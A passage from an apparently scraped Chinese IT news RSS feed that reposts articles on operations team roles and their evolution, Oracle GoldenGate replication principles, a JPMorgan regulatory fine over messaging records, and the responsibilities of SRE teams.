&lt;p&gt;负责制定线上业务升级变更及回滚方案，并进行变更实施。掌握所负责的服务及服务间关联关系、服务依赖的各种资源。能够发现服务上的缺陷，及时通报并推进解决。制定服务稳定性指标及准入标准，同时不断完善和优化程序和系统的功能、效率，提高运行质量、完善监控内容，提高报警准确度。在线上服务出现故障时，第一时间响应，对已知线上故障能按流程进行通报并按预案执行，未知故障组织相关人员联合排障。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;3）资源管理&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;对各服务的服务器资产进行管理，梳理服务器资源状况、数据中心分布情况、网络专线及带宽情况，能够合理使用服务器资源，根据不同服务的需求，分配不同配置的服务器，确保服务器资源的充分利用。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;4）例行检查&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;制定服务例行排查点，并不断完善。根据制定的服务排查点，对服务进行定期检查。对排查过程中发现的问题，及时进行追查，排除可能存在的隐患。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;5）预案管理&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;确定服务所需的各项监控、系统指标的阈值或临界点，以及出现该情况后的处理预案。建立和更新服务预案文档，并根据日常故障情况不断补充完善，提高预案完备性。能够制定和评审各类预案，周期性进行预案演练，确保预案的可执行性。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;6）数据备份&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;制定数据备份策略，按规范进行数据备份工作。保证数据备份的可用性和完整性，定期开展数据恢复性测试。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; 3、数据库运维 &lt;p&gt; &lt;/p&gt; &lt;p&gt;数据库运维负责数据存储方案设计、数据库表设计、索引设计和SQL优化，对数据库进行变更、监控、备份、高可用设计等工作。详细的工作职责如下所述。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;1）设计评审&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;在产品研发初始阶段，参与设计方案评审，从DBA的角度提出数据存储方案、库表设计方案、SQL开发标准、索引设计方案等，使服务满足数据库使用的高可用、高性能要求。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;2）容量规划&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;掌握所负责服务的数据库的容量上限，清楚地了解当前瓶颈点，当服务还未到达容量上限时，及时进行优化、分拆或者扩容。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;3）数据备份与灾备&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;制定数据备份与灾备策略，定期完成数据恢复性测试，保证数据备份的可用性和完整性。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;4）数据库监控&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;完善数据库存活和性能监控，及时了解数据库运行状态及故障。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;5）数据库安全&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;建设数据库账号体系，严格控制账号权限与开放范围，降低误操作和数据泄露的风险；加强离线备份数据的管理，降低数据泄露的风险。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;6）数据库高可用和性能优化&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;对数据库单点风险和故障设计相应的切换方案，降低故障对数据库服务的影响；不断对数据库整体性能进行优化，包括新存储方案引进、硬件优化、文件系统优化、数据库优化、SQL优化等，在保障成本不增加或者少量增加的情况下，数据库可以支撑更多的业务请求。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;7）自动化系统建设&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;设计开发数据库自动化运维系统，包括数据库部署、自动扩容、分库分表、权限管理、备份恢复、SQL审核和上线、故障切换等功能。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;8）运维研发&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;运维研发负责通用的运维平台设计和研发工作，如：资产管理、监控系统、运维平台、数据权限管理系统等。提供各种API供运维或研发人员使用，封装更高层的自动化运维系统。详细的工作职责如下所述。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;9）运维平台&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;记录和管理服务及其关联关系，协助运维人员自动化、流程化地完成日常运维操作，包括机器管理、重启、改名、初始化、域名管理、流量切换和故障预案实施等。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;10）监控系统&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;负责监控系统的设计、开发工作，完成公司服务器和各种网络设备的资源指标、线上业务运行指标的收集、告警、存储、分析、展示和数据挖掘等工作，持续提高告警的及时性、准确性和智能性，促进公司服务器资源的合理化调配。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;11）自动化部署系统&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;参与部署自动化系统的开发，负责自动化部署系统所需要的基础数据和信息，负责权限管理、API开发、Web端开发。结合云计算，研发和提供PaaS相关高可用平台，进一步提高服务的部署速度和用户体验，提升资源利用率。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; 4、运维安全 &lt;p&gt; &lt;/p&gt; &lt;p&gt;运维安全负责网络、系统和业务等方面的安全加固工作，进行常规的安全扫描、渗透测试，进行安全工具和系统研发以及安全事件应急处理。详细的工作职责如下所述。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;1）安全制度建立&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;根据公司内部的具体流程，制定切实可行，且行之有效的安全制度。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;2）安全培训&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;定期向员工提供具有针对性的安全培训和考核，在全公司内建立安全负责人制度。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;3）风险评估&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;通过黑白盒测试和检查机制，定期产生对物理网络、服务器、业务应用、用户数据等方面的总体风险评估结果。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;4）安全建设&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;根据风险评估结果，加固最薄弱的环节，包括设计安全防线、部署安全设备、及时更新补丁、防御病毒、源代码自动扫描和业务产品安全咨询等。为了降低可能泄露数据的价值，通过加密、匿名化、混淆数据，乃至定期删除等技术手段和流程来达到目的。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;5）安全合规&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;为了满足例如支付牌照等合规性要求，安全团队承担着安全合规的对外接口人工作。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;6）应急响应&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;建立安全报警系统，通过安全中心收集第三方发现的安全问题，组织各部门对已经发现的安全问题进行修复、影响面评估、事后安全原因追查。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;三、运维工作发展过程&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;早期的运维团队在人员较少的情况下，主要是进行数据中心建设、基础网络建设、服务器采购和服务器安装交付工作。几乎很少涉及线上服务的变更、监控、管理等工作。这个时候的运维团队更多的属于基础建设的角色，提供一个简单、可用的网络环境和系统环境即可。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;随着业务产品的逐渐成熟，对于服务质量方面就有了更高的要求。这个时候的运维团队还会承担一些服务器监控的工作，同时会负责LVS、Nginx等与业务逻辑无关的4/7层运维工作。这个时候服务变更更多的是逐台的手工操作，或者有一些简单批量脚本的出现。监控的焦点更多的在服务器状态和资源使用情况上，对服务应用状态的监控几乎很少，监控更多的使用各种开源系统如Nagios、Cacti等。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;由于业务规模和复杂度的持续增加，运维团队会逐渐划分为应用运维和系统运维两大块。应用运维开始接手线上业务，逐步开展服务监控梳理、数据备份以及服务变更的工作。随着对服务的深入，应用运维工程师有能力开始对服务进行一些简单的优化。同时，为了应对每天大量的服务变更，我们也开始编写各类运维工具，针对某些特定的服务能够很方便的批量变更。随着业务规模的增大，基础设施由于容量规划不足或抵御风险能力较弱导致的故障也越来越多，迫使运维人员开始将更多的精力投入到多数据中心容灾、预案管理的方向上。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;业务规模达到一定程度后，开源的监控系统在性能和功能方面，已经无法满足业务需求；大量的服务变更、复杂的服务关系，以前靠人工记录、工具变更的方式不管在效率还是准确性方面也都无法满足业务需求；在安全方面也出现了各种大大小小的事件，迫使我们投入更多的精力在安全防御上。逐渐的，运维团队形成之前提到的5个大的工作分类，每个分类都需要有专精的人才。这个时候系统运维更专注于基础设施的建设和运维，提供稳定、高效的网络环境，交付服务器等资源给应用运维工程师。应用运维更专注于服务运行状态和效率。数据库运维属于应用运维工作的细化，更专注于数据库领域的自动化、性能优化和安全防御。运维研发和运维安全提供各类平台、工具，进一步提升运维工程师的工作效率，使业务服务运行得更加稳定、高效和安全。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;我们将运维发展过程划分为4个阶段，如图1-2所示。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#22270;&amp;#29255;" src="https://dbaplus.cn/uploadfile/2022/0207/20220207114441285.jpg"&gt;&lt;/img&gt;&lt;/p&gt; &lt;p&gt;图1-2 运维发展过程&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;手工管理阶段：业务流量不大，服务器数量相对较少，系统复杂度不高。对于日常的业务管理操作，大家更多的是逐台登录服务器进行手工操作，属于各自为战，每个人都有自己的操作方式，缺少必要的操作标准、流程机制，比如业务目录环境都是各式各样的。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;工具批量操作阶段：随着服务器规模、系统复杂度的增加，全人工的操作方式已经不能满足业务的快速发展需要。因此，运维人员逐渐开始使用批量化的操作工具，针对不同操作类型出现了不同的脚本程序。但各团队都有自己的工具，每次操作需求发生变化时都需要调整工具。这主要是因为对于环境、操作的规范不够，导致可程序化处理能力较弱。此时，虽然效率提升了一部分，但很快又遇到了瓶颈。操作的质量并没有太多的提升，甚至可能因为批量执行而导致更大规模的问题出现。我们开始建立大量的流程规范，比如复查机制，先上线一台服务器观察10分钟后再继续后面的操作，一次升级完成后至少要观察20分钟等。这些主要还是靠人来监督和执行，但在实际过程中执行往往不到位，反而降低了工作效率。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;平台管理阶段：在这个阶段，对于运维效率和误操作率有了更高的要求，我们决定开始建设运维平台，通过平台承载标准、流程，进而解放人力和提高质量。这个时候对服务的变更动作进行了抽象，形成了操作方法、服务目录环境、服务运行方式等统一的标准，如程序的启停接口必须包括启动、停止、重载等。通过平台来约束操作流程，如上面提到的上线一台服务器观察10分钟。在平台中强制设定暂停检查点，在第一台服务器操作完成后，需要运维人员填写相应的检查项，然后才可以继续执行后续的部署动作。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;系统自调度阶段：更大规模的服务数量、更复杂的服务关联关系、各个运维平台的林立，原有的将批量操作转化成平台操作的方式已经不再适合，需要对服务变更进行更高一层的抽象。将每一台服务器抽象成一个容器，由调度系统根据资源使用情况，将服务调度、部署到合适的服务器上，自动化完成与周边各个运维系统的联动，比如监控系统、日志系统、备份系统等。通过自调度系统，根据服务运行情况动态伸缩容量，能够自动化处理常见的服务故障。运维人员的工作也会前置到产品设计阶段，协助研发人员改造服务使其可以接入到自调度系统中。&lt;/p&gt; &lt;p&gt; &lt;/p&gt; &lt;p&gt;在整个运维的发展过程中，希望所有的工作都自动化起来，减少人的重复工作，降低知识传递的成本，使我们的运维交付更高效、更安全，使产品运行更稳定。对于故障的处理，也希望由事后处理变成提前发现，由人工处理变成系统自动容灾。&lt;/p&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62094-%E8%BF%90%E7%BB%B4-%E5%B7%A5%E4%BD%9C-%E5%88%86%E7%B1%BB</guid>
      <pubDate>Tue, 08 Feb 2022 08:56:16 CST</pubDate>
    </item>
    <item>
      <title>OGG工作原理 - 关系型数据库 - 亿速云</title>
      <link>https://itindex.net/detail/62053-ogg-%E5%B7%A5%E4%BD%9C-%E5%8E%9F%E7%90%86</link>
      <description>&lt;div&gt;    &lt;h1&gt;OGG工作原理&lt;/h1&gt;    &lt;div&gt;发布时间：2020-08-07 04:46:09来源：ITPUB博客阅读：122作者：白盲丶栏目：      &lt;a href="https://www.yisu.com/zixun/sjk_gxx/"&gt;关系型数据库&lt;/a&gt;&lt;/div&gt;    &lt;p&gt;      &lt;strong&gt;一.GoldenGate介绍&lt;/strong&gt;      &lt;br /&gt;OGG 是一种基于日志的结构化数据复制软件      &lt;br /&gt;OGG 能够实现大量交易数据的实时捕捉，变换和投递，实现源数据库与目标数据库的数据同步，保持最少10ms的数据延迟      &lt;br /&gt;      &lt;br /&gt;      &lt;br /&gt;      &lt;strong&gt;二.工作原理&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;      &lt;img alt="OGG&amp;#24037;&amp;#20316;&amp;#21407;&amp;#29702;" src="https://cache.yisu.com/upload/information/20200703/136/12451.png"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;      &lt;strong&gt;&lt;/strong&gt;      &lt;strong&gt;三.相关组件&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;1.Manager&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;负责OGG 整体的监控和管理&lt;/p&gt;    &lt;p&gt;(1).Trail文件的生成和删除&lt;/p&gt;    &lt;p&gt;(2).定期监控进程，负责进程的启动/停止&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;2.Extract(Capture)&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;(1).从redo 或 archive log获得DB变更信息，取得主键或唯一键的变更前后的值&lt;/p&gt;    &lt;p&gt;      &lt;img alt="OGG&amp;#24037;&amp;#20316;&amp;#21407;&amp;#29702;" src="https://cache.yisu.com/upload/information/20200703/136/12452.png"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;(2).以一定间隔读取REDO日志，获取变更信息&lt;/p&gt;    &lt;p&gt;参数EOFDELAY or EOFDELAYCSECS 设置。 默认1s，最小10ms&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;(3).当满足下列条件时，输出到本地或远程Trail文件&lt;/p&gt;    &lt;p&gt;- Extract的缓冲区写满&lt;/p&gt;    &lt;p&gt;- 设置参数FLUSHSECS or FLUSHCSECS来指定间隔。 默认1s，最小10ms&lt;/p&gt;    &lt;p&gt;      &lt;img alt="OGG&amp;#24037;&amp;#20316;&amp;#21407;&amp;#29702;" src="https://cache.yisu.com/upload/information/20200703/136/12453.png"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;3.Extract(Pump)&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;将本地的Trail队列发送至目标端Collector&lt;/p&gt;    &lt;p&gt;发送间隔，满足以下任一条件:&lt;/p&gt;    &lt;p&gt;(1).缓存写满时&lt;/p&gt;    &lt;p&gt;Pump的RMHOST参数(TCPBUFSIZE选项)，可指定缓存尺寸，默认30000bytes&lt;/p&gt;    &lt;p&gt;(2).参数指定&lt;/p&gt;    &lt;p&gt;FLUSHSECS or FLUSHCSECS. 默认1s，最小10ms&lt;/p&gt;    &lt;p&gt;      &lt;img alt="OGG&amp;#24037;&amp;#20316;&amp;#21407;&amp;#29702;" src="https://cache.yisu.com/upload/information/20200703/136/12454.png"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;4.Collector&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;从Extract pump向Collector发送，输出至Trail文件&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;5.Replicat&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;从Trail文件生成SQL语句在目标DB执行。&lt;/p&gt;    &lt;p&gt;      &lt;img alt="OGG&amp;#24037;&amp;#20316;&amp;#21407;&amp;#29702;" src="https://cache.yisu.com/upload/information/20200703/136/12455.png"&gt;&lt;/img&gt;&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;四.初始数据同步&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;1.利用数据库功能&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;RMAN,expdp/impdp&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;2.利用OGG功能&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;设置初始化属性的捕获和复制进程。建议小数据库使用。&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;五.限制&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;1.未支持的数据类型&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;ANYDATA,BFILE,TIMEZONE_ABBR,URITYPE,ANYDATASET,BINARY_INTEGER,TIMEZONE_REGION,UROWID,ANYTYPE,MLSLABEL,PLS_INTEGER&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;2.DML未支持的对象&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;压缩表，外部表，REF，别名，不输出日志的DML&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;3.未支持的DDL&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;对系统表/系统视图的DDL&lt;/p&gt;    &lt;p&gt;使用Recycle Bin&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;4.不支持的对象名&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;以下字符和中文不可用于对象名：&lt;/p&gt;    &lt;p&gt;&amp;amp;    *    ？    ：    ;    ,    .    空格&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;5.字符集&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;目标DB的字符集必须是源DB字符集的超集&lt;/p&gt;    &lt;p&gt;      &lt;br /&gt;&lt;/p&gt;    &lt;p&gt;      &lt;strong&gt;6.其他&lt;/strong&gt;&lt;/p&gt;    &lt;p&gt;(1).sequence 双向复制时不能使用sequence，单向使用sequence的cache时，源和目标不同步&lt;/p&gt;    &lt;p&gt;(2)目标DB需要删除Trigger&lt;/p&gt;&lt;/div&gt;
    &lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category />
      <guid isPermaLink="true">https://itindex.net/detail/62053-ogg-%E5%B7%A5%E4%BD%9C-%E5%8E%9F%E7%90%86</guid>
      <pubDate>Sun, 23 Jan 2022 21:36:42 CST</pubDate>
    </item>
    <item>
      <title>通讯软件聊工作导致违法 美国SEC、CFTC对摩根大通处罚2亿美元</title>
      <link>https://itindex.net/detail/61964-%E9%80%9A%E8%AE%AF-%E8%BD%AF%E4%BB%B6-%E5%B7%A5%E4%BD%9C</link>
      <description>&lt;p&gt;因为放纵高管和员工使用即时通讯软件和私人邮箱讨论工作事宜，周五美国SEC和商品期货交易委员会（CFTC）分别对摩根大通证券开出了合计2亿美元的罚单。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="ZWhD3s1Ymx" border="0" src="http://upload.techweb.com.cn/2021/1219/1639901751991.png"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;值得一提的是，监管机构对业务数据保管问题进行处罚并不常见，而这次两家监管机构也没有给全球最大银行避免承认错误直接和解的机会。摩根大通将向SEC支付1.25亿美元罚金，而CFTC的罚单价值7500万美元。最新罚单大幅超过SEC在2006年时就类似违法行为对摩根士丹利开出的1500万美元罚单。&lt;/p&gt;
 &lt;p&gt;根据SEC公告，摩根大通证券承认，至少在2018年1月至2020年11月期间，该机构的员工经常在私人设备上使用即时通讯软件和个人邮箱讨论证券业务问题，而公司并没有依照联邦《证券法》对这些记录进行留存。该机构同时承认，这一违法情况在公司里是非常普遍的行为，包括身负监管责任的董事总经理和其他高级管理人员也经常用私人设备讨论业务。&lt;/p&gt;
 &lt;p&gt;而在CFTC的调查报告中，显示摩根大通类似行为违反《商品交易法》的历史可以追溯到2015年。&lt;/p&gt;
 &lt;p&gt;SEC执法部副主任Sanjay Wadhwa周五表示，摩根大通的违法行为阻碍了SEC数宗正在进行的调查，迫使监管部门采取额外的步骤。这一处罚显示违规行为的严重性，公司必须共享投资者保护的责任，而不是造成阻碍。&lt;/p&gt;
 &lt;p&gt;摩根大通在今年八月曾披露正在接受有关“数据保存问题”的调查。据媒体报道，两大监管机构的行动也对员工产生了影响。摩根大通此前曾指示公司的交易员、银行家、金融顾问，甚至一些支行员工保存好自己个人设备的数据，以备监管调查使用。&lt;/p&gt;
 &lt;p&gt;监管部门同时也表示类似的调查仍在进行中，更多的金融机构可能被涉及，希望相关公司能够自行汇报存在的违规行为。&lt;/p&gt; &lt;p&gt;  &lt;img alt="&amp;#25991;&amp;#31456;" border="0" src="http://s1.techweb.com.cn/static/img/20180614.png"&gt;&lt;/img&gt;&lt;/p&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>TechWeb</category>
      <guid isPermaLink="true">https://itindex.net/detail/61964-%E9%80%9A%E8%AE%AF-%E8%BD%AF%E4%BB%B6-%E5%B7%A5%E4%BD%9C</guid>
      <pubDate>Sun, 19 Dec 2021 16:17:56 CST</pubDate>
    </item>
    <item>
      <title>SRE 的工作介绍</title>
      <link>https://itindex.net/detail/61879-sre-%E5%B7%A5%E4%BD%9C</link>
      <description>&lt;p&gt;有很多人问过我想了解一下 SRE 这个岗位，这是个很大的话题，在这篇博客中把想到的一些介绍一下吧。&lt;/p&gt;
 &lt;p&gt;SRE 到底是什么？这是一个最早由 Google 提出的概念，我的理解是，用软件解决运维问题。标准化，自动化，可扩展，高可用是主要的工作内容。这个岗位被提出的时候，想解决的问题是打破开发人员想要快速迭代，与运维人员想要保持稳定，拒绝频繁更新之间的矛盾。&lt;/p&gt;
 &lt;p&gt;SRE 目前对于招聘来说还是比较困难。一方面，这个岗位需要一定的经验，而应届生一般来说不会有运维复杂软件的经历；另一方面就是很多人依然以为这就是“运维”工程师，认为做的是一些低级重复的工作，对这个工作有排斥。最根本的，其实这个岗位寻找的要么是具有运维经验的开发人员，要么是具有软件开发技能的运维工程师。所以比较难以找到合适的人。&lt;/p&gt;
 &lt;p&gt;在现实生活中，不同公司的 SRE 岗位大有不同，有一些甚至可能还是传统运维的名字换了一个岗位名称。&lt;/p&gt;
 &lt;p&gt;比如蚂蚁金服有两种 SRE，一种是负责稳定性的，就是大家所理解的 SRE；另一种叫做资金安全 SRE，并不负责服务正常运行，而是负责金钱数目正确，对账没有错误，工作内容以开发为主，主要是资金核对平台和核对规则（没有做过，只是个人理解）。某种意义上说，已经不算是 SRE 而是专业领域的开发了。&lt;/p&gt;
 &lt;p&gt;  &lt;a href="https://www.youtube.com/watch?v=koGaH4ffXaU"&gt;Netflix&lt;/a&gt; （2016年）的模式是谁开发，谁维护。SRE 负责提供技术支持，和咨询服务。Netflix 在全球 170 个国家有服务，Core SREs 只有 5 个人。&lt;/p&gt;
 &lt;p&gt;微软有专门的   &lt;a href="https://azure.microsoft.com/mediahandler/files/resourcefiles/devops-at-microsoft-game-streaming-sre/DevOps%20at%20Microsoft%20-%20Xbox%20game%20streaming%20SRE.pdf"&gt;Game Streaming SRE&lt;/a&gt;，负责 XBox 在线游戏的稳定性。&lt;/p&gt;
 &lt;p&gt;所以不同公司的 SRE 的内容各有偏重，取决于公司要提供什么样的服务。&lt;/p&gt;
 &lt;p&gt;我们可以学习网络分层的方式，将 SRE 大致的工作内容从下往上分成 3 个大类：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;Infrastructure：主要负责最基础的硬件设施，网络，类似于 IaaS，做的事情可参考 DigitalOcean&lt;/li&gt;
  &lt;li&gt;Platform：提供中间件技术，开箱即用的一些服务，类似于 PaaS，做的事情可参考 Heroku, GCP, AWS 等&lt;/li&gt;
  &lt;li&gt;业务 SRE：维护服务，应用，维护业务的正常运行&lt;/li&gt;
&lt;/ol&gt;
 &lt;h2&gt;Infrastructure&lt;/h2&gt;
 &lt;p&gt;Infrastructure 和 Platform SRE 其实可有可无，这些年商业化的服务其实越来越多了，比如，如果公司选择全部在 AWS 部署自己的服务的话，那么就不需要自己建立 Datacenter，维护网络之类的工作了，只需要几个 AWS 专家即可。&lt;/p&gt;
 &lt;p&gt;如果有的话，工作内容也可大可小。可以从管理购买的 VPS 开始，也可以从采购硬件服务器开始。&lt;/p&gt;
 &lt;p&gt;我觉得 Infrastructure SRE 的工作内容可以这样定义：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;负责服务器的采购，预算，CMDB 管理。要知道（能查询到）每一台的负责人是谁，在干什么。这个非常重要，如果做不好，会造成极大的资源浪费。&lt;/li&gt;
  &lt;li&gt;提供可靠软件的部署环境，一般是虚拟机，或者 bare mental。&lt;/li&gt;
  &lt;li&gt;操作系统的版本统一维护，Linux 发行版的版本，Kernel 的版本等。&lt;/li&gt;
  &lt;li&gt;维护机器上的基础软件，比如 NTP，监控代理，其他的一些代理。&lt;/li&gt;
  &lt;li&gt;提供机器的登录方式，权限管理，命令审计。&lt;/li&gt;
  &lt;li&gt;维护一套可观测性的基础设施，比如监控系统，log 系统，trace 系统。&lt;/li&gt;
  &lt;li&gt;维护网络，大公司可能都会自己设计机房内的网络。其中包括：
   &lt;ol&gt;
    &lt;li&gt;网络的连通，这个是必要的。对于上层用户（Platform SRE）来说，交付的服务应该是任意两个 IP 是可以 ping 通的，即管理好 3 层以下的网络。&lt;/li&gt;
    &lt;li&gt;NAT 服务&lt;/li&gt;
    &lt;li&gt;DNS 服务&lt;/li&gt;
    &lt;li&gt;防火墙&lt;/li&gt;
    &lt;li&gt;4 层负载均衡，7层负载均衡&lt;/li&gt;
    &lt;li&gt;CDN&lt;/li&gt;
    &lt;li&gt;证书管理&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ol&gt;
 &lt;p&gt;每一项既可以是一个很大的团队，也可以只有一个人去对商业化的 Infra 服务。可以使用开源的产品，也可以自己研发。&lt;/p&gt;
 &lt;h2&gt;Platform SRE&lt;/h2&gt;
 &lt;p&gt;Infrastructure SRE 维护的是基础设施，Platform SRE 使用他们提供的基础设施建立软件服务，让公司内的开发者可以使用开箱即用的软件服务，比如 Queue，Cache，定时任务，RPC 服务等等。&lt;/p&gt;
 &lt;p&gt;主要的工作内容有：&lt;/p&gt;
 &lt;ol&gt;
  &lt;li&gt;RPC 服务：让不同的服务可以互相发现并调用&lt;/li&gt;
  &lt;li&gt;私有云服务&lt;/li&gt;
  &lt;li&gt;队列服务，比如 Kafka 或者 RabbitMQ&lt;/li&gt;
  &lt;li&gt;分布式的 cronjob 服务&lt;/li&gt;
  &lt;li&gt;Cache&lt;/li&gt;
  &lt;li&gt;网关服务：反向代理的配置&lt;/li&gt;
  &lt;li&gt;对象存储：s3&lt;/li&gt;
  &lt;li&gt;其他一些数据库：ES，mongo 等等。一般来说，关系型数据库会有 DBA 来运维，但是 NoSQL 或者图数据库一般由 SRE 维护。&lt;/li&gt;
  &lt;li&gt;内部的开发环境：
   &lt;ol&gt;
    &lt;li&gt;SCM 系统，比如自建的 Gitlab&lt;/li&gt;
    &lt;li&gt;CI/CD 系统&lt;/li&gt;
    &lt;li&gt;镜像系统，比如 Harbor&lt;/li&gt;
    &lt;li&gt;其他的一些开发工具，比如分布式编译，Sentry 错误管理等等&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
  &lt;li&gt;一些离线计算环境，大数据的服务&lt;/li&gt;
&lt;/ol&gt;
 &lt;h2&gt;业务 SRE&lt;/h2&gt;
